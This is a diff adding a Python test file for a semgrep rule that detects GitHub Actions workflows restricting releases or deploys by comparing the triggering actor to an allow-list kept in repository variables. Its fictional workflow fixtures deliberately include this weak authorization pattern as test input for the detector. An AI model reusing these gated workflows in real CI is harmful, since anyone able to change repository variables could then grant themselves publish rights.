return_value=triple): + with self.assertRaises(OSError) as c: + hub.gh_get("/repos/o/r/x") + self.assertEqual(str(c.exception), want) + def test_cli_offline_json(self): for args, repo in (([], "o/r"), (["--repo", "O/r"], "O/r")): # --repo defaults to the origin; case is ignored p = self.cli(*args, "--data", self.data(), "--offline", "--json") diff --git a/scripts/test_semgrep_gha_actor_allowlist.py b/scripts/test_semgrep_gha_actor_allowlist.py new file mode 100644 index 000000000..9b05627fa --- /dev/null +++ b/scripts/test_semgrep_gha_actor_allowlist.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python3 +"""Tests for the bundled semgrep rule perun.gha.actor-allowlist-from-vars (templates/semgrep-taint/gha.yml). + +Fixtures are annotated like semgrep's own tests: a `# ruleid: ` comment marks the NEXT line as a required finding, a +`# ok: ` comment marks the next line as one that must stay clean, and every unannotated line must stay clean too (so +must a copy of the workflow text outside the scanned paths). All names, users and values are fictional. RULES= +checks another copy of the rules (used to show the cases fail without gha.yml). The live check needs semgrep (run offline, +one job) and prints SKIP without it (CI installs none); the offline checks replay the rule's own regexes with Python's re +and always run. Plain asserts.""" +import json, os, re, shutil, subprocess, tempfile + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +RULES = os.environ.get("RULES") or os.path.join(ROOT, ".claude", "skills", "deep-code-review", "templates", "semgrep-taint") +RID = "perun.gha.actor-allowlist-from-vars" + +# Every positive is one actor check fed by vars.NAME; the name-hint cases (the allow-list is read into a variable, then the +# actor is compared in the script) pair a hint-named variable and an actor reference in ONE step, in either order. +RELEASE = r'''name: release +on: workflow_dispatch +jobs: + list-in-job-if: + runs-on: ubuntu-latest + # ruleid: perun.gha.actor-allowlist-from-vars + if: contains(fromJSON(vars.RELEASERS), github.actor) + steps: + - run: ./publish.sh + equals-any-name: + runs-on: ubuntu-latest + # ruleid: perun.gha.actor-allowlist-from-vars + if: ${{ github.actor == vars.RELEASE_MANAGER }} + steps: + - run: ./publish.sh + variable-first: + runs-on: ubuntu-latest + # ruleid: perun.gha.actor-allowlist-from-vars + if: vars.PUBLISH_OWNER != github.triggering_actor + steps: + - run: ./publish.sh + contains-any-name: + runs-on: ubuntu-latest + # ruleid: perun.gha.actor-allowlist-from-vars + if: contains(vars.PUBLISH_USERS, github.actor) + steps: + - run: ./publish.sh + steps: + runs-on: ubuntu-latest + steps: + # ruleid: perun.gha.actor-allowlist-from-vars + - if: contains(vars.DEPLOY_ALLOWLIST, github.triggering_actor) + run: ./publish.sh + - name: shell, one line + run: | + # ruleid: perun.gha.actor-allowlist-from-vars + echo "${{ vars.RELEASERS }}" | tr ',' '\n' | grep -qx "${{ github.actor }}" + - name: list in env, actor in the script + env: + # ruleid: perun.gha.actor-allowlist-from-vars + ALLOWED: ${{ vars.ALLOWED_USERS }} + run: | + case ",$ALLOWED," in *",$GITHUB_ACTOR,"*) ;; *) exit 1 ;; esac + - name: actor first, then the list + run: | + # ruleid: perun.gha.actor-allowlist-from-vars + who="$GITHUB_ACTOR" + grep -qxF "$who" <<< "${{ vars.TRUSTED_PUBLISHERS }}" + # The rule cannot see where a variable is defined, so a job that declares an environment still flags (the message says to drop the lead then). + with-environment: + runs-on: ubuntu-latest + environment: release + steps: + # ruleid: perun.gha.actor-allowlist-from-vars + - if: contains(vars.RELEASERS, github.actor) + run: ./publish.sh +''' + +DEPLOY = r'''name: deploy +on: workflow_dispatch +jobs: + gate: + runs-on: ubuntu-latest + steps: + # ruleid: perun.gha.actor-allowlist-from-vars + - if: ${{ !contains(vars.DEPLOYERS, github.actor) }} + run: exit 1 +''' + +ACTION = r'''name: gate +description: Fictional composite gate. +runs: + using: composite + steps: + # ruleid: perun.gha.actor-allowlist-from-vars + - if: contains(vars.ADMINS, github.actor) + shell: bash + run: ./publish.sh +''' + +# Not valid YAML (unclosed flow mapping, stray bracket): a rule with `languages: [yaml]` loses the file to a parse error, this one must still flag it. +BROKEN = r'''name: broken +jobs: {{ + publish: + # ruleid: perun.gha.actor-allowlist-from-vars + if: contains(vars.RELEASERS, github.actor) + ] : +''' + +CI = r'''name: ci +on: pull_request +jobs: + skip-bots: + runs-on: ubuntu-latest + # ok: perun.gha.actor-allowlist-from-vars + if: github.actor != 'dependabot[bot]' + steps: + - run: ./test.sh + literal-list: + runs-on: ubuntu-latest + # ok: perun.gha.actor-allowlist-from-vars + if: contains(fromJSON('["jane-smith","john-doe"]'), github.actor) + steps: + - run: ./test.sh + flag-and-bot-check: + runs-on: ubuntu-latest + # ok: perun.gha.actor-allowlist-from-vars + if: vars.FEATURE_X == 'true' && github.actor != 'dependabot[bot]' + steps: + - run: ./test.sh + unrelated-variable: + runs-on: ubuntu-latest + steps: + # ok: perun.gha.actor-allowlist-from-vars + - run: echo "deploying to ${{ vars.DEPLOY_REGION }} for ${{ github.actor }}" + # ok: perun.gha.actor-allowlist-from-vars + - run: echo "regions ${{ vars.ALLOWED_REGIONS }}" + - run: echo "started by ${{ github.actor }}" + code-owned-file: + runs-on: ubuntu-latest + steps: + # ok: perun.gha.actor-allowlist-from-vars + - run: grep -qxF "$GITHUB_ACTOR" .github/RELEASERS + commented-out: + runs-on: ubuntu-latest + steps: + # ok: perun.gha.actor-allowlist-from-vars + # - if: contains(vars.RELEASERS, github.actor) + - run: ./test.sh + hint-only: + runs-on: ubuntu-latest + steps: + # ok: perun.gha.actor-allowlist-from-vars + - run: echo "${{ vars.TRUSTED_REGIONS }}" + actor-only: + runs-on: ubuntu-latest + steps: + - run: echo "${{ github.actor }}" +''' + +FILES = { + ".github/workflows/release.yml": RELEASE, + ".github/workflows/deploy.yaml": DEPLOY, + ".github/workflows/ci.yml": CI, + ".github/workflows/broken.yml": BROKEN, + "action.yml": ACTION, + ".github/actions/gate/action.yml": ACTION, + ".github/actions/old/action.yaml": ACTION, +} +SKIPPED = {"docs/release-example.yml": RELEASE} # not a workflow or action file: nothing in this copy may be reported +ANN = re.compile(r"^\s*#\s*(ruleid|ok): " + re.escape(RID) + r"\s*$") + + +def annotated(body, kind): + """Line numbers of the lines each `# : ` comment points at (the next one).""" + return {i + 1 for i, l in enumerate(body.split("\n"), 1) if (m := ANN.match(l)) and m.group(1) == kind} + + +assert all(annotated(b, "ruleid") or annotated(b, "ok") for b in FILES.values()) +assert sum(len(annotated(b, "ruleid")) for b in FILES.values()) == 9 + 1 + 3 + 1 # annotations are not silently dropped +if shutil.which("semgrep"): + with tempfile.TemporaryDirectory() as d: + for p, body in {**FILES, **SKIPPED}.items(): + os.makedirs(os.path.dirname(os.path.join(d, p)), exist_ok=True) + open(os.path.join(d, p), "w").write(body) + env = dict(os.environ, HOME=d, SEMGREP_USER_HOME=d) + run = subprocess.run(["semgrep", "--config", RULES, "--metrics=off", "--disable-version-check", "--jobs", "1", "--json", "--quiet", "--", *FILES, *SKIPPED], + capture_output=True, text=True, env=env, cwd=d) + r = json.loads(run.stdout) + assert not r["errors"], r["errors"] + got = {(x["path"], x["start"]["line"]) for x in r["results"] if x["check_id"].endswith(RID)} # semgrep prefixes the id with the config's directory + want = {(p, ln) for p, b in FILES.items() for ln in annotated(b, "ruleid")} + assert got == want, ("unexpected", sorted(got - want), "missed", sorted(want - got)) +else: + print("SKIP: semgrep not installed; the live fixture check did not run, the offline checks below do") + +# Offline: structural pins on the rule text, then the rule's own three regexes replayed with Python's re over every fixture +# (the same PCRE subset in both engines). CI installs no semgrep, so dropping a guard (the comment-line skip, the step and job +# boundary, a name hint, an operand form) fails this file even when the live part is skipped. +SRC = open(RULES if os.path.isfile(RULES) else os.path.join(RULES, "gha.yml")).read() +assert SRC.count("\n- id: ") == 1 and f"\n- id: {RID}\n" in SRC and "\n severity: WARNING\n" in SRC +assert "\n languages: [regex]\n" in SRC # not yaml: a file that fails YAML parsing must still be scanned +assert '\n include: [".github/workflows/*.yml", ".github/workflows/*.yaml", "action.yml", "action.yaml"]\n' in SRC +quoted = lambda key: [s.replace("''", "'") for s in re.findall(rf"\n (?:- )?{key}: '((?:[^']|'')*)'(?=\n)", SRC)] +(msg,), RX = quoted("message"), quoted("pattern-regex") +assert msg.startswith("[heuristic] ") and "write access" in msg and "environment variable" in msg and "code-owned file" in msg +assert len(RX) == 3 and all(h in "".join(RX) for h in ("allow", "releaser", "deployer", "approver", "admin", "maintainer", "trusted")) +for p, body in FILES.items(): + got = {body.count("\n", 0, m.start()) + 1 for rx in RX for m in re.finditer(rx, body)} + assert got == annotated(body, "ruleid"), (p, "unexpected", sorted(got - annotated(body, "ruleid")), "missed", sorted(annotated(body, "ruleid") - got)) +print("ok")